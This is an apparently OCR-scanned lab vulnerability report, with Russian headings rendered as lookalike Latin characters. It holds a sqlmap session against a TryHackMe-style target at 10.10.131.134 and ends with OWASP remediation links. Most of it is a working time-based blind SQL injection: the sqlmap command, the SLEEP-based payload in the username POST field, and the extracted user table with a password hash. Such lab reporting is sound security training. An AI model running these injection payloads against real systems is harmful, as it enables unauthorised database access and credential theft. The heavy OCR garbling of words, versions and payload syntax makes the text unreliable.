AocTyn K 6a3e AaHHbIX 6e3 KakMx-TO 0COBbIX 3HAHWN.

BocnpousBeaeHue ya3sBMMOCTMU:



~/sqlmap-1.5
python2.7 sqlmap.py -r ../request.xml -D THM_féund_m3 -T

user --columns.

http://sglmap.org

1] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not res
ponsible for any misuse or damage caused by this program
tarting @ 22:20:41 /2024-12-04/

[INFO] parsing HTTP request from °../request.xnl
] [10F0] resuming back-end DBMS ‘mysql’

[ ] testing connection to the target URL

med the following injection point(s) from stored

username (POST)
time-based blind
MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username-asdasd' AND (SELECT 9349 FROM (SELE(\(SLEED( 5)))ugSr) AND ‘nlmo’='nlmofpassword=asdass&subnit=submi
] [INFO] the back-end DBMS is MySQL
oD SR s SR i [ S0 p SHEG 6 W0 (@ Gl 6 BT P, op Gramn L)
bieb application technology: Apache 2.2.22, PHP 5.3
back-end DBMS: MySQL >= 5.8.12
] [1NFO] fetching columns for table 'user’ in database 'THM_feund_m3'
time-based comparison requires larger statistical model, please wait.. . (done
it is very important to not stress the metwork comnection during usage of time-based payloads to prevent potential disruptions
ldo you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [¥/n] ¥
] retrieved
] adjusting time delay to 2 seconds due to good response times
] invalid character detected. retrying.
increasing time delay to 3 seconds
invalid character detected. retrying.
NING] increasing time delay to 4 seconds

] retrieved: varchar
invalid character detected. retrying.
WARNING] increasing time delay to 5 seconds

] invalid character detected. retrying.
increasing time delay to 6 seconds
invalid character detected. retrying.
increasing time delay to 7 seconds

] retrieved: password
] retrieved: varcnC

NING] your sqlmap version is outdated

] parsing HTTP request from °../request.xml
resuming back-end DBMS 'mysql

] testing connection to the target URL
qlmap resumed the following injection point(s) from stored session:

[
%
Paraneter: username (POST)

Type: time-based blind
Title: MySQL >= 5.8.12 AND time-based blind (query SLE
Payload: username-asdasd’ AND (SELECT 9349 FROM (SELE(\(SLEED( 5)))wgsr) AND

1 ] the back-end DBMS is MySQL

fueb server operating system: Linux Ubuntu 13.84 or 12.84 or 12.10 (Raring Ringtail or Precise Pangolin or Quantal Quetzal)
fueb application technology: Apache 2.2.22, PHP 5.3.10

back-end DBMS: MysQL >= 5.6.12

] fetching SQL SELECT statement query output: 'select username,password from user
[ ] ] the SQL query provided has more than one field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind
) i) o e e Ty SRR (i (Lo Meifioocos: <e.. (done)
it is very important to not stress the network connection during usage of time- ba<ed "payloads to prevent potential disruptions
dw you o sqlmap % try to optimize value(s) for DBMS delay responses (option '--time-sec')? [V/

‘nlmo’ = nlmo&passuord=asdass&submit-submit

e SQL query provided can return 2 entries. How many entries do you want to retrieve?
[a] ALl (default)
[#] Specific number
[a] Quit
b a

] retrieved:

] adjusting time delay to 2 seconds due to good response times
1 ] invalid character detected. retrying.
] [WARNING] increasing time delay to 3 seconds
retrieved: @5f
invalid character detected. retrying
] increasing time delay to 4 seconds
invalid character detected. retrying
] increasing time delay to 5 seconds

invalid character detected. retrying.
] increasing time delay to 6 seconds

invalid character detected. retrying.
] increasing time delay to 7 seconds

retrieved: Skidy

retrieved: He is a nice guy, say h
invalid character detected. retrying.
] increasing time delay to 8 seconds

ername, password from user [2]

1, 053672ba34409136aa71b8d00670d1b
, He is a nice guy, say hello for me
] ] fetched data logged to text files under '/home/kolya@80808/.local/share/sqlmap/output/10.10.131.134"
[WARNING] your sqlmap version is outdated

ending @ 22:58:59 /2024-12-84/

PekoMeHAaumMm no ycTpaHeHUIo:

lMocmoTpuTe Ha carite owasp Kak 3TO MPOMCXOAMUT N Kak 3TO MOXHO NpeaoTBRaTuTh

Bupeo BbINONHeHUsN



https://owasp.org/www-community/attacks/SQL_Injection
https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
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https://youtu.be/nR3tP3QpKzk

